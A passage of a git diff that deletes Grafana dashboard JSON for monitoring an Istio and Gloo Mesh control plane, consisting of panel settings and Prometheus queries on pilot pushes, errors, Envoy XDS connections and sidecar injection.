"color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - "title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-4/gitops/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, 